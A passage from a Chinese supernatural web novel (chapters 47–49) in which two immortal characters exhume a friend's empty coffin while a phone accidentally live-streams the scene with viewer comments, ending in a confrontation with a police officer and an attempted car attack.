问:“她对你很重要?”
“差不多吧,她救过我,我很感激她。”江隈翁声说,“几万年了,我从没见过她那么特别的人。”
从江隈的字里行间中,李俟菩似乎能拼接起一个修为高又似天边月亮一样独一无二的人。
毕竟江隈这人,生性自由,能让她都牵肠挂肚,想必不是寻常之人。
不知怎么的,李俟菩问道:“你讨厌931,是因为她?”
江隈不惊讶她的猜测,讥讽说:“也差不多吧,人家只是个平凡人,攀不起931这块大木。”
“我当时都说不要让她和调查组再有联系,可她偏偏不听,不但拐了人首领头头到处流浪,后来还一次两次地破例救下诡物,惹得人931天天追杀她。”
李俟菩道:“听你这意思,你要找的人与931的关系颇深。”
“那可大了,人家当年可差点成了931的创始人,要不是931里的人在背地里搞小动作……呵。”
江隈话没尽,李俟菩却也能在没头没尾的话中找到关键词。
“救下诡物对931来说是头等大忌,你说的这个人真是违世异俗。”
李俟菩明白这其中的忌讳,这种行为跟叛逃门派没什么区别。
“可世间之事从来不是绝对。”江隈惘然。
“你跟覃诩水说得一模一样。”李俟菩说。
江隈笑了,“是吗,那她和我要找的人还真是像。”
李俟菩总算明白了江隈若有若无对覃诩水的关照是从何而来。
她不露声色:“这次,我信你三分。”
江隈狐疑地瞟她一眼,“这么容易就把你说动了?你是不是近墨者黑,跟那几个小孩儿一样变得心软了?”
“还是说你又和她们想了什么坏招来骗我,我这次可是掏心窝子话都说了……”
“你的眼睛不会骗人。”李俟菩打断她。
江隈挑眉,花言巧语着说:“那小菩萨再心软一次,帮我把这份竹简放回那棺材里?”
这话太明显,摆明了要引她去那古怪棺材看看。
“一起去,人情欠着。”李俟菩谈笑自若,不含糊地讲价钱。
她承诺帮忙,可不代表不要报酬。
她补道:“别忘了,你还欠我十万。”
江隈却欣然答应,眼睛里一点算计也没,“只要能帮我解决,你让我做什么我都绝不食言。”
天边已然泛起白光,她看着江隈誓死的执念,过了很久,开口问道。
“你要找的人,叫什么?”
江隈一怔,远眺半晌。
“任蓑。”
47. 功德+47
破晓的流逝很快,不知不觉时间就到了夜晚,这一天江隈带着李俟菩瞎溜达了一圈。
走过讨论法器研制的曹芜绿宁松帷师生二人,也吃过了余愁山的闭门羹。
赵慵也不知道跟着云饭饭去哪儿了,一整天都没有回来。
直至圆月高悬之时,江隈才肯带着李俟菩去好友坟墓。
还美名其曰,晚上才更有祭拜人的氛围感。
李俟菩反而说,按年龄算,自己都算是死而复生的老祖宗,到底谁给谁祭拜才符合礼数?
江隈却轻描淡写地脱口而出:“要不我烧个纸,你俩单聊?”
李俟菩的脚步一顿。
江隈说完好像又意识到了什么,苦笑出声:“不好意思,忘了,她连魂都没有,纸钱她都收不到。”
李俟菩停了很久,说:“她是个怎样的人?”
江隈果然抽离了悲痛的思绪,断断续续道:“少年时与覃诩水一样跳脱吧,只是越长大考量就越多,变得沉默寡言和了无生气,不过许多时候还会有孩子气的行为。”
“我觉得,如果她还在,你和她应该会很聊得来。”
李俟菩沉吟片刻才缓缓开口:“我不喜与人聊天。”
江隈却懒洋洋道:“哦,那你现在不是正在和我聊?”
李俟菩闭嘴了。
她们二人早已进入了山中几个集中坟地的山窝里。
在夜深人静的方圆几地荒野,野兽一样的风呼啸,拂动野草的根,林木影影绰绰。
走过的土包就像从大地里生长出来的瘤,久久盯着还有着怪异的发毛感,偶尔还有一排乌压压的蝙蝠掠过头顶。
落叶与积水腐烂在脚下。
“好了好了,前面就是,快到了。”江隈心知不能将人逗得急,于是领着人快步向前走。
“你有心带我来这儿,是遇到了你都不能解决的古怪?”李俟菩发问。
“是。”提起这事,江隈脸色不是很好。
她动了动嘴:“我用语言描绘出来,你可能不知道问题到底出在哪里,我就只好带你去用肉眼看咯。”
李俟菩原本有些微蹙的眉头更紧了两分,这怎么越说越邪乎,在这荒郊野外,更让人心一紧,不过也成功勾起了她的兴趣。
这时,她休闲裤的口袋里一震,李俟菩下意识地浑身一抖,江隈还以为是她自己手机响了,掏出来看却没动静,她望向李俟菩。
“你买手机了?”江隈问。
“嗯。”李俟菩拎出那刚开封的原始手机,像提了只小兔子的脖颈,“赵队送的。”
“送的?”江隈停下脚步,看了看那手机,是去年的最新款,功能效率说是很高。
她口吻里的酸气抱怨快要溢出来:“你可以啊,这么快就哄得一组组长给你买手机讨你欢心啊。”
李俟菩嘴一歪,这话怎么怪怪的?
“不过你会用吗?还不如给我,在你手里简直暴殄天物。”江隈说着双眼放光,就要上手来摸。
李俟菩反手一转,将那手机离远了些这不怀好意的人。
要说怎么用这个手机,她还真不会怎么去用,但她不会还不会去搜教程了吗?
于是早在江隈跑去吃午饭时,她第一件事就是打开浏览器去学,还真给她学到了好东西。
登陆软件都需要注册啥的,而实名是需要什么身份证那些,身份证……应该就是通行文蝶吧,到时候自己去办一个了再说。
而且手机里面有很多好玩的稀奇玩意儿,她下午趁江隈找曹芜绿聊天的时候还偷偷玩了会儿手机,难怪现世人对手机都欲罢不能。
她承认,世界上没有比手机更好玩的物件了。
“你又不缺钱,自己去买一个,为何抢我一个平头百姓的东西?”李俟菩面对江隈羡慕的眼神无动于衷。
“切。”江隈大手一挥,“谁说我要的是手机了?我要的是你的手机!况且我看这手机白不拉叽的,一点都不好用,还不如我的呢。”
典型的吃不到葡萄说葡萄酸。
于是二人又在荒地里走了一会儿,快到一个小土坡的两面环壁的地方,江隈才停下来。
即使是乌云遮掩了月色,李俟菩也能知道,面前的这土堆是被人翻过一次的旧土。
粗略的木牌立在前方,没有立碑文,也没有贡品,与旁边几个有人时常来祭拜的坟墓相比,十分潦草。
这个墓是藏在角落处,基本也无人张望到这边。
夜黑风高,渗人的风灌过李俟菩的衣领。
小小的坟墓里埋葬着的从来不是一堆被人踩在脚下的土。
没人会对一堆土产生感情。
她看着江隈有些呼吸急促的神情,开解道:“身前伶仃骨,死后一黄土,古往今来,都是如此。”
江隈笑得更苦了:“世界上有很多事情都是无法预料的,大概很多年前,我就是和她在这里相遇的,那时候她比这堆土要高很多,我也不用蹲下身去看她。”
“二十余年如一梦,这些年我只来得及去找她的身影,却忘了要牢牢抓紧她的容颜。”
她慢悠悠诉说着往事,周围似起袅袅青烟,抚过她的耳畔。
“我已经记不得她的样子了。”
悲伤是会传染的,李俟菩只能下意识地去寻找他物来缓解这种气氛。
她环顾了四周的坟土,其他的土包上面都插着花圈与彩色的飘带,还有烧了半截深埋土壤的纸钱。
于是她很不厚道地开口道:“虽然不知道这些诡还会不会回土看看,但你就是在深夜的时候,挖了这些诡的邻居?”
“这个嘛。”江隈眼珠子一转,“哇,听你这么一说,我好像干得很不道德。”
“把好像两字去掉。”李俟菩斜瞥她一眼。
“哎呀,这边又没人来,我替我朋友翻新一下家怎么了?”江隈双手交叉道,“它们自己家没人敢翻,说到底它们还得羡慕我朋友有这样的好福气呢。”
李俟菩简直要无语地笑了,“嗯,有你是任蓑的福气。”
语毕,江隈可能也觉得自己有点缺德,嘴硬不下去了,说:“开挖吧开挖吧。”
她一只手两个铁铲,站至那坟土的另一侧,看李俟菩优哉游哉,丝毫没有要来帮忙的意思。
江隈半笑着说:“不来挖总得给我打个灯吧?”
李俟菩透过睫毛向上看道:“你自己一个人来的时候不是不需要吗?”
江隈呵呵:“那是情况所迫我可以勉强,现在有灯为何不照呢?”
“麻溜儿的,打开你手机,向下滑,看到手电筒那三字没有?”
李俟菩百无聊赖地照着这人的话做,在照开手电筒时不小心划到了一个软件,然后腾地一下,手机屏幕出现了框外下方的那堆土。
嗯?这就是手机的那个功能,照相机吗?
“行,你就这样举着。”江隈找好角度,交代道。
然后两只手两个铁铲挖得飞快,火星子都快擦出来了,相处好几年,她终于知道江隈的左右手十分的灵活。
手机框里出现江隈的身影,与土量减少的坟墓,李俟菩没退出去,看了眼亮度刺眼的手机屏幕,选择用肉眼去看江隈努力的双手。
夜间有少许蝉鸣,枝桠好似映入圆月,多出几分思量。
李俟菩的眼睛只瞧着江隈,却没看到,手机左下角浮动的条条框框。
【宅全家:这怎么个事?某抖疯了吗?要不看看这到什么时间了?】
【小区业务不胖:阴间时间,阴间直播,怂蛋准时观看!】
【小新不小新:我靠了我靠,主播你这是在直播挖坟吗?!】
【狐狸尾巴:主播你是什么转世我去了,这手的速度不去车间流水线真
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是埋没了。】
【现直播人数:8】
“举高点儿,累死我了。”江隈从那堆土里冒出头,“要不你来帮帮我,我真不行了。”
她擦汗的手被光一照,白得跟尸体差不多,汗水从她的下颌滴到地下。
高强度的曝光也遮挡不了江隈那轮廓分明的脸。
【三字金:我去!主播怎么长得这么好看!】
【古风小生:可否告知姑娘姓甚名谁,小生见之倾心,欲万金娶之。】
【次奥瘦天:楼上神特么古风小生哈哈哈哈!】
“不帮。”李俟菩清冷的嗓音回荡在郊外。
谁知此话一出,手机里那些人更沸腾了。
【么么么:我天,刚刚是谁说话了?老子声控!】
【吖吖:姐姐姐姐姐姐姐姐,看看我!我是你的狗!】
【平安喜乐:喂喂喂,还有没有人管管?这是在直播挖坟啊!主播是在做什么挑战抄流量吗?!】
【现直播人数:191】
不过一会儿,江隈已经把那堆土已经抛到脑后了。
“总算搞完了,你过来看看,灯往这边点儿。”江隈打了个左转。
现在那坑里已经能看到棺材的轮廓了,李俟菩走到前面去,手机的灯更能照到那色泽光鲜的棺椁。
“色泽靓丽不朽,如此偏僻的地方如此潦草的碑,又为何用如此上好的木材?”
李俟菩一只手举着手机,一只手敲敲那馆盖。
“就是这样才奇怪。”江隈抹了抹额上的汗,退后几步,“你让让,更奇怪的还在下头呢。”
这两幅认真分析模样让直播间的人啧啧称奇,虽然只看得到江隈的脸,但相比之下,李俟菩手下的棺材才更吸引人眼球。
【十二点:刺激啊!现在这年头盗墓贼都能直播了?!】
【对你爱不完:有没有可能是点错了我天?这某抖平台还不封掉是在准备拿人吗?】
【打工圣体:管它呢,我是两位姐姐的狗!!!】
【小猫要猫条:楼上疯了。】
【十二点:+1】
【V我50:+1】
江隈严肃的神情让李俟菩心里有种不好的感觉,果不其然,在挖开覆盖棺材地下那层土后,李俟菩心中的想法得到印证。
只见棺材底盘与土接壤那处堆满了白骨,森森骨头整整齐齐地围绕着棺材摆满了一圈,看起来格外瘆人。
别说那棺木边缘还贴满了透明状大小不一的甲壳,就像是人被剥下来的指甲片。
李俟菩欲要看得更加清晰,镜头贴近一瞬,惹来观众大呼小叫。
【青青子衿:哇妈妈救我!好恐怖!】
【夏至:我靠主播你有话好好说,别怼镜头啊!】
【绿帽戏法:好吓人我的妈呀!那是什么?不会是指甲吧!!】
【豆腐脑:大惊小怪……这些就算吓人了?】
【偏偏宠暧:楼上别是吓尿裤子了哈哈哈!】
李俟菩观察了好一会儿,“不是人骨,但这些指甲却好像是从死人身上脱下来的。”
江隈也肃声道:“此举并不是激发怨气,神似某种仪式,但我始终想不明白。”
镜头细细把陈年白骨圈揽。
“你朋友有没有得罪过人?”
江隈一听,“多了去了,当时通缉令满天,但是这怎么看也不像是要害她呀,而且棺椁中只有竹简,没有放过尸体。”
李俟菩沉思,“我倒是见过这种手法,但我不太确定是否与我想的有关。”
“你先说。”江隈道。
“招魂。”
“?”江隈讶道,“我从未见过用棺材与动物尸体招魂的。”
“这是一种古老的献祭仪式,基本没人见过,也无人记录,我还是曾在一个落后的村庄里遇到过的。”
48. 功德+48
覃诩水睡了一整天,晚上又着手忙碌起来,今天晚上本来出任务的是她,结果调给余愁山了。
于是,她好不容易忙完才抽空在自己工位上吃个饭,赵慵就从门外回来了。
“诩水,你吃什么呢?”赵慵提着两大袋零食走过来,放在一组专门设置的储备粮柜子里,瞟了一眼覃诩水淡得跟水一样的饭盒。
“吃淡。”覃诩水一撂筷子,双腿圈在椅子上盖着棉被。
大厅里的中央空调低得吓人,覃诩水眼前电脑的蓝色屏幕映照出她的死人脸。
赵慵无奈笑笑,“你这几天特殊情况,只能先吃这些了,听话。”
覃诩水不知是和谁赌气般偏头,话没听三分,就扒拉着自己手机。
“松帷和师父呢?”赵慵视线找了一圈,大厅里只有覃诩水一个人。
“逛街去了!”覃诩水大声道,“不带我,都是坏人!”
赵慵走到她身前,摸摸她委屈的脸蛋,温柔道:“那阿菩和江隈呢?”
覃诩水气鼓鼓地没答,手不停地划拉视频,空旷的大厅只有视频里的播放声。
忽然,一个格外响亮的声音回答了赵慵的问题。
“她死时别人恨不得将她千刀万剐,谁还会念着她,想要招魂?”
只闻从手机话筒里传出来的江隈的疑问声,接着就是晃动的屏幕,以及清晰的江隈的脸。
左下角的弹幕不断涌动,说什么的都有,而覃诩水则是傻眼了,盯着那屏幕震惊出声:“江隈怎么开直播去了?还乌漆麻黑的?”
赵慵却是听明白了江隈所说的话,加上弹幕不停的在刷关键字眼,她也难以想象道:“她干嘛呢?和谁在说话?这是在挖坟?”
接着就是屏幕怼上了那幽幽白骨。
还有独属于李俟菩的声音:“不知,我只是合理猜测,你大可放心,不论是与否,这番景象都没有害人之心。”
“这……是阿菩!”覃诩水张大的嘴巴忘了合拢,“这是长着指甲的棺材?今天出任务的不是死山吗,怎么她们两个跑到那阴气重的地方去了?”
“今天任务是小区,这怎么会?”赵慵身体微微前倾,眉头紧锁。
底下弹幕刷得正起劲,不管她们二人在做什么不可告人的秘密,终归是放在大众眼前了,这些言论势必会影响舆论。
调查组对于这种不可言说的事情一向秉持着不外传的原则。
眼看事情一发不可收拾,赵慵猜疑道:“或许她们还不知道。”
很显然,这两人当然不知道,一人权当录像,一人全然不知,还在那儿分析,丝毫不顾及直播间那些人的心情。
【可惜不是你:好专业啊我嘞个乖乖,两位风水大师吧?】
【盐巴贵:俺不中嘞,太刺激了,两妹子胆子也忒大了。】
【斜刘海不屑:不对啊,怎么感觉有故事啊,两姐姐与棺材里的死人有关系?】
【仁川:切,说剧本谁是剧本。】
【起风了:楼上,就算是剧本,那两姑娘勇闯坟场也是真吧。】
【雌竞给我滚:是剧本我也看,我颜控又声控,更是手控,谁懂!】
【现直播间人数:999+】
枯瘦枝桠抖落一只落单的乌鸦,四周静悄悄,静得犹如有什么东西蛰伏其中。
“不是害人就好,如今她也算是如愿了,害得我一直为她提心吊胆的。”江隈叹口气道。
“这不也是你的心愿?”李俟菩搓了搓空凉的臂膀,“如今找人之事已了,你不会还打算为死人趟一次浑水?”
“说浑水都算是轻的,这些骨头年份已高,我就是去查也一点线索都没有,当初只顾找她,关于她的一些事情我从来都没调查清楚过,现在想来,真是走错路子了。”
李俟菩看这人完全偏离了中心点,语速缓慢:“这么说,你真想倒查几十年?”
“哎呦我知道你意思,如今鬼找不到,我就只好去找尸体咯。”江隈磨了磨后槽牙,思绪翻滚的糟心样。
李俟菩听此,总算知道了她的目的。
李俟菩斟酌道:“你从头到尾,原来只是想去查她的死因?”
江隈的声音轻得如耳边低语,“当然,我找她只是想问问她到底是怎么死的,就是可惜,我想得太简单,以为能再见她一面,直接去问。”
“人都已经死了,知道死因的话,你想替她报仇?”
江隈眸色敛下,脆生道:“我这后半辈子,只为两个人奔波过,一个是你,另一个是她。”
“我只是想寻个答案,为什么有人会死得那么轻易,明明生前那么光鲜亮丽,死后却是草席一裹,轻易地,死后几百年,再无人能记得。”
“有时候知道死因并不是去一报还一报,如果她是病死,我打算研究一下,以后遇到得这种病的人,说不定我日后还能做个好事。”
“要是毒死,那我得去南疆看看,说起来我好久没去过了,说不定能碰到故人。若她是被人杀死的,那我肯定得去找她仇人的,然后恨骂那人一顿,解我心中之气!”
手电筒的光一直停留在江隈的衣襟,微微的风吹过,系在她腰间的穗子一晃一晃。
她眉眼微微带笑,似在说着什么令她向往的事情,“不过这些都算是一个生人的恋想,最重要的是,起码我知道我这些年在忙什么,在做什么,心里在想着什么。”
“人若是没有执念的话,那我们与脚下的草有何异呢?”
江隈轻轻捻着脚下的土沙,风吹走它,似年华流逝。
李俟菩倒是很赞同她说的话,人总要为一个执念而活,更别说是长生种的江隈。
岁岁年年,江隈无牵无挂,说不定哪天就随风飘走了,反正也没人留恋她,反正她后半生中为其奔波的两个人早已不在人世。
李俟菩说:“当时她死的时候,你在哪儿?”
江隈扯唇,语句涩意:“还是在找她。”
【吃瓜达人:莫名好感人怎么回事?】
【快乐老家:不要怀疑,恐怖频道转温情人生了!】
【我是基尔霍夫:呜呜呜这姐姐好惨,虽然不知道到底怎么回事,但姐姐说得好伤心啊。】
【摇香菇:stop!只有我一个人抓住重点了吗?这女人刚刚说鬼找不到就去找尸体?!】
【天涯四芳:我懂!这是能找的吗?主播失心疯了吗?变成鬼都要找?】
李俟菩看着面前这容颜依旧的老友,她毫不犹豫地揭开事实:“所以,你从找她,变成了找她的魂,然后找她的尸体,最后变成了要去查她的死因。”
“很多年了,你一直在寻找。”
江隈回身看了看那口沉棺,老实道:“你这戳人心窝子的语言方式还是没变。”
“嗯,你上次还说我唯利是图。”李俟菩道。
江隈清了清嗓子:“哎,记仇多不好,记得以后改掉这个习惯。”
李俟菩扭过头。
“看来这个工作是非干不可了。”江隈边瞎琢磨边道。
“你已经明确了怀疑对象?”嘴上这么问,其实李俟菩已经知道这人打算是从931内部开始下手了。
“嗯,好同事。”江隈好好拍了拍棺木,“今天就当你从来没来过这里,我不会向外说的。”
李俟菩却反问道:“你什么意思?很危险?”
江隈的语气轻飘:“放心,就组里上头那些臭鱼烂虾我还应付不来?”
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李俟菩看她又在胡乱攀扯,说:“你朋友的事可能牵扯甚广,我劝你不要牵进去。”
毕竟不管什么执念什么事情,都没有自己的命重要,为了将来要完成的事,第一件事就是要保全自己的性命。
若前者与后者冲突,她会选择折中,另寻一条曲折的路走,只不过走得慢了一点,所以她很不理解为何世间有很多盲目寻死的人。
这对她来说不是愚蠢,而是把自己来之不易的性命当做玩笑。
“好菩萨,我就知道你外表只是伪装,心底里还是关心我的吧。”江隈笑得更灿烂了,“没事,我心里有数。”
李俟菩神色不悦:“不会死的人,也会怕疼。”
“喂,之前怎么不见你这么会说话,我金刚不坏,你这个观音菩萨就放一百个心吧。”
李俟菩与她对视,看她顽固,最终也没能说什么。
世间的因果李俟菩掺合不了,也不该介入,这本与她无关,可自己也不是冷心冷情之人,话到嘴边只能说出口。
“所以现在?”她问。
眼前的黑坑看起来格外突兀,江隈说:“堆回去呗,不然你还想干嘛?”
她拍了拍手上的灰,地上的铁铲被李俟菩手机晃得反光。
李俟菩默默起身,默默固定好角度,默默打灯。
“不是,你这是打好算盘不插手了呗?”江隈眼前有些发黑,暗叹真是老了,没想到自己已经到了起猛就头晕目眩的年纪了。
“我是你请过来的,帮你挖土不太合适吧?”李俟菩淡淡道。
【什么都能磕:我去,对抗路CP,我先磕为敬!】
【蕊蕊花花世界:真服了,这年头谁都能磕是吗?人家正经友情看不出来吗?】
【什么都能磕:我磕关你什么事儿?就磕就磕,如何呢,那又怎?】
【小心心:吵的两位滚出直播间好吗,管人家什么关系,我正看得起劲呢,无语。】
【莞莞类卿:主播真是不干人事儿笑死了,居然还想堆回去哈哈哈。】
【小头儿子:我建议别堆了,棺材放里面都臭了,通会儿气,反正棺材是空的。】
【喜懒双拼:啊?我刚来的,棺材里是空的?这悬疑频道怎么越看人背后就越发凉?】
于是江隈又不情愿地将那堆土翻去棺木上,累得鼻子一抽一抽,进气少出气多。
李俟菩则是瞟了眼手机屏幕,不看还好,一看就不得了,她是没想到这照相功能还有字飘过,这么高级?
她点点了那浮动的字眼,有些东西她看不懂,但大概能拼出意思,但没等她看出个什么来,就被一声尖锐刺耳的鸣叫震得手机脱落。
这声音她曾听过一次,是她拿下那三个人贩子的成就音响,可是……
“我靠,这荒郊野外的,哪里来的警察?!”江隈埋土的手一顿,觉得大事不妙。
手机反盖在地上,手电筒的灯照耀黑沉的天,灰尘漂浮不定,李俟菩忙去捡,直播间里突现她的脸庞。
却没想到这番颜值暴击简直把直播间里的诸位打懵了,于是画框里无人再说话,只剩疯狂刷屏的豪车。
可惜隔着屏幕外的两人根本不知道,鸣叫越来越近,突突的音节快要把两人的心脏都振出来。
但一向冷静自持的江隈根本顾不上这警报是不是来找她们的,心底里只有赶紧把那空棺材埋上不让外人窥见的急迫心情。
铁铲被她用得报废,她直接上手扒拉,手磨着石子划破几道血痕她也没管,就像极其不愿让人扰到她这位好友的清静。
李俟菩见她没跑,自己也没动。
直至那边警车上的人走下来,晃眼的灯射向她眼眸。
“李小姐?”
49. 功德+49
【权威:我的妈耶,我宣布,这颜值就是我的电子布洛芬!】
【浮生唯你:警车虽迟但到?果然楼上精准预测哈哈哈,头一次看到真的要被抓进去的主播。】
【蒜鸟蒜鸟:直播要显贵,尸体基础,脸就不基础。】
【如何呢又能怎:???小小的老子一打开直播就是尸与远方……】
【纯牛奶:如果多一张船票,你会不会跟我走?】
刚刚还沉默的直播间霎时被不停的梗刷爆,镜头定格在她的下颌,煞白的灯光让脖颈更添一层朦胧的滤镜。
李俟菩被晃得微阖双眸,刺眼的光圈独揽对方一身浅灰色的运动装。
“孟娩?”她看清了那人的脸。
灯光缓慢向下压,一明一暗的眩晕感充塞在李俟菩有些发酸的眼球。
“嗯。”对面的孟娩微笑着回了声。
天暗得快要被黑云腐蚀得塌陷下来,这么晚了,这人开着警车突然出现在荒郊坟场,明眼人都觉得可疑。
李俟菩抠了抠手心。
跪在地上的江隈三下两除二迅速弄完了那堆土,转头见着孟娩一滞,而孟娩却是毫无意外地朝略显狼狈的她瞟了一眼。
熟悉的站位,熟悉得让三人梦回上次见面的时候。
该说不说,这两位上次还是你死我活的场面,只不过这次有些受制的好似是江隈。
“我刚刚接到赵慵的电话,她定位了你的手机,让我过来找你。”孟娩话有深意,“你是不是开直播了?”
李俟菩耸肩,重复道:“直播?”
后垂头看向手机屏幕,跳动的华丽特效与刷屏的简体字,她瞬间明白了什么。
“实时播放?”她轻道。
原来是比相机更高级的功能,她刷新了认知。
警车的鸣笛没关,孟娩听不到她的小声呢喃,抬脚走过来,瞥了眼手机,小声道:“上头规定任何涉及之事不可录像。”
身后的江隈本来还呆愣着,听到此话,脸有些涨红,对着李俟菩吼道:“喂,我让你打开手电筒,可没让你开直播啊!”
说完瞄了眼土包,满脸都是秘密被放在大众眼前的气愤,的确,这对于身死之人是大不敬了。
况且,直至刚刚,江隈还努力地不让旁人窥视到死人的一分一毫,连棺材都不准,如今告诉她全程都在录像……
江隈闭上眼眸一秒,李俟菩的手机有些发热,她还没说什么,就被斩断了话语。
“不是我说,你该不会真是遇到了什么麻烦,想要炒作吧?我答应你演戏,可不兴引流啊。”江隈复睁眼,痞笑道。
“而且戏演到这儿也就差不多了吧,再演我都要信了,今天一晚上,钱不得拿到手软?”
“还有,你如果真有什么困难是可以说的,孟小姐才来到这里,她什么都不知道,不如让她帮帮你?”
李俟菩扭头,下眼睑弯起细小弧度。
江隈拍了拍膝盖腿懒散站起身来,仿佛刚刚所说的一切都不存在,顷刻间本末倒置。
这人话里有话,不知是在拱火还是在遮掩之前的秘密,惹得孟娩真的撩起眼皮看向李俟菩。
“李小姐,你是有什么不能说的吗?”孟娩疑心重得很,稍有些风吹草动就全身长刺,“如果是关于钱财,或许我能帮你。”
手机是李俟菩的,直播也是李俟菩点的,江隈一甩水,锅也就倒扣在了她的头上。
无论李俟菩是不是有心,直播录像总是事实,若是不想让江隈刚刚的言行落人口舌,她就得吃哑巴亏。
李俟菩瞪了眼江隈,与孟娩同时看向手机上花花绿绿的字。
【苏格拉地:今天是捅了美女窝了,果然恐怖片里盛产美女。】
【斛叶:榕城的戏剧还是挺有意思的。】
【数学是我难解的命题:所以到底是不是剧本啊?我真的好奇啊!】
【三人行我特懂:有点修罗场的意思,好看,爱看。】
直播间的人数还在增长,弹幕刷得极快,孟娩也不知看到了什么,神色抽动一瞬,立马替李俟菩点了大叉,顺势关掉了屏幕。
黑屏的方块终于停歇,相伴而来的,是突然停下来的警车笛声。
孟娩登时回头,只见刚刚还跪在地上楚楚可怜的江隈,趁她们不注意,已悄摸上了警车。
“破坏公共财产的话,江小姐日后的头衔可是很难听的。”孟娩没多说废话,直言道。
蓝红不断闪烁的光线并没有打在江隈的脸上,她不语,猛拉上车门,夜色渐渐吞噬了她的五官。
李俟菩不妙的感觉浮上心头,孟娩的手摸上了腰侧,金属碰撞的声音却夹杂着卡壳的声响,于是她们都分神一瞬。
但下一秒,没有预兆的,车子直直朝她们开来!
李俟菩当机立断推了孟娩一把,脚步扭转,飞快地扑向一旁,后脚跟着地,她抬头,难以置信地看了一眼江隈。
轮胎掀起万潮沙尘,车窗映照出来江隈的那张脸,面容有些扭曲,她一直看向被推得趔趄的孟娩。
“江隈!”李俟菩大声呼喊了句。
几乎是差点被撞到的刹那,她顺瓜摸藤,摸透了江隈突如其来的举动。
江隈的那双狭长眼眸里,全是掩盖不住的杀气,她想撞死孟娩!
而关于她要查清楚的事情,她选择了最极端的一种方法。
猝然,枪声打断了李俟菩的杂乱思绪。
警车窗上的洞冒着黑气,孟娩已闪身到了警车的后侧方,毫不犹豫地向江隈开了一枪。
就在同时,江隈弯身猛打方向盘,一脚油门踩到底,抓耳的摩擦声划破天际。
孟娩身手矫健也不甘示弱,在她加速时就扭身跑向了那座坟前,扣动扳机,朝江隈额头方向又是一枪。
枪声擦着李俟菩的耳畔穿风而过,就如事情的变故往往是那么的极速又突然。
江隈微微一偏,子弹射透了靠椅,直抵车后箱的膜。
“喂,你们不是规定,犯人只有警告了死性不改过后,才能开枪吗?”江隈悠悠摇下窗户,舌尖抵腮,“孟队,你违纪了吧?”
回声游荡在郊外,孟娩道:“规章条例你倒是背得熟,我都配合你的话稍微怀疑了一下下李小姐,怎么还是要杀人灭口?因为你的秘密太大了,我听不得?”
“都知道秘密大了,那你更要死了,毕竟死人比活人可诚实太多了。”江隈笑了声。
又朝李俟菩说道:“你说,我要是就这么撞死她,你们调查组得花多少时间才能确定嫌疑犯?”
“……你当我瞎了吗?”李俟菩道。
“你也可以瞎了。”江隈神色懒散地靠着椅背,双腿交叠,“对吧?”
看着江隈疯狂阴鸷的眼神,李俟菩说:“你冲动了,现在不适合做决定,下车。”
李俟菩知道这人想做什么,刚刚确定了目标,下一秒,如此上好的调查入口就送上门来。
可谓羊入虎口,白来的人头,又能引起931一定的重视,到时江隈再借风使舵,她所查的事情一定会有眉目。
解决不了一个问题,那就创造一个更大的问题,真是十分有效率的解决方法。
只不过这人倒是有些没把自己放在眼里,或是这人万分相信她会站在她的那一方。
“说出来你可能不信,我觉得孟队过来选择开车,真是上天都觉得风云际会的一件事情。”
江隈眼眶带着嗜血的猩红,“如果是自然的车祸,调查组可能一辈子都查不到我头上,你觉得呢孟队?”
孟娩不慌不忙地新添一排子弹,举起枪,“嗯,你很会钻一些空子,就像下水沟里的老鼠。”
江隈左耳进右耳出,几不可察地看了眼孟娩身后的那孤坟,道:“可能我用点非自然因素你会死得快些,但效果可能会有些偏差,而且我耐心有限,你还是尽量闭嘴吧。”
话没落地,她的腿就开始微微耸动,后轮胎底压制住的彩花飘带被剧烈撕扯开来,车子又毫不动摇地朝
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孟娩的方向冲去!
显然,孟娩身后的免死金牌只拖得了一时,李俟菩的面子她也一点不给。
面对这速度,李俟菩差点没反应过来,而孟娩也知道自己躲不开,于是下意识地扣动扳机,却被人一把抢走。
高速下,李俟菩左手夺过枪绕了个圈,整个身体挡在土包与孟娩的前方。
江隈冷笑一声,车子没减速,反而妥协般地打开车门跳了出去。
轰隆一声,警车像是撞到了铁板,重力之下,车盖都被撞得掀起一角,后轮胎因为惯力高高抬起又重重落下。
电流滋啦滋啦,车灯熄灭。
李俟菩的右手嵌入车盖前凹陷的洞,交接处,她手中的符纸随着冒烟的车擎盖灰飞。
夺来的枪口抵向滚了好几圈的江隈。
“江隈,适可而止。”李俟菩警告道。
方才还在大谈温情人生的两人才不到二十分钟就变成了相持不下的两方,可能这里最应该莫名其妙的是孟娩,可她却只是稍稍挥手咳了两声。
李俟菩有些头疼,因为换个角度想,孟娩身死绝对是个很好的突破点。
“江隈,不论你要干什么,都得去总部坐坐了。”孟娩全身被风吹得凉透,她倒是有种筹谋全局的微妙感。
忽然,远处传来好几声鸣笛,数辆警车飞奔而来,今日这几个诡物的老坟家盛况空前。
“正合我意。”江隈的额角被石子擦破,不甘示弱道,“不论我要干什么,走哪条路都可以。”
李俟菩对着孟娩道:“我说实话,这人被带去总部可能会闹得你们鸡犬不宁。”
“没关系,起码排除了大会上一个很不稳定的因素。”孟娩道,“她在那儿,很招人。”
李俟菩无法反驳,勾唇明白了什么。
那几张警车下来几个人,与孟娩交接了几声就把江隈押走了,擦身而过时,江隈朝李俟菩看了一眼。
没有打破她计划的怪罪,只剩无奈。
也许李俟菩也只能在她走弯路的时候拉她一把了。
随后,李俟菩也上了孟娩的车。
车窗吹进来的风带着冷意。
“赵慵没有派你来。”李俟菩道,“你是通过直播才找到了这里。”
“对,也许江隈要做的事情我本来不清楚,但现在我知道了。”孟娩大方地承认了事实,没问她怎么知道的,“百分之百与931有关。”
“不过是找了个借口带她去总部,让大会开得更美好一点,或者说让她嘴上的铁夹子更松一点。”她转动方向盘,“说来还挺惊险。”
“原来覃诩水说的放心,是这个意思。”李俟菩说,“你是收到了上头的任务?”
“密令,调查江隈。”
“那这密令还真密。”
孟娩噗嗤笑出了声,“这不是为了转移你那尖锐的眼神,我全盘托出你还不信?”
“上头不放心也是正常。”
“上头对任何新人都不放心。”孟娩道。
空气沉默一瞬,李俟菩说:“那接收我密令的是谁?”
“要不你猜猜?”
半晌,李俟菩道:“赵慵。”
“错了。”孟娩笑笑,“还是我。”
李俟菩一笑,“那你现在是要审问我关于江隈的事吗?”
毕竟都知道她和江隈牵扯不清了。
“不用,我觉得你不会说。”孟娩道,“万一你给她做假证,那我可有得忙活了。”
小路崎岖,孟娩继续说:“你那符箓看着挺好用的。”
“是好用。”
“可以卖吗?”
“不可以。”
“为什么?”
“因为我要用。”李俟菩奇奇怪怪地看了她一眼。
话题死了。
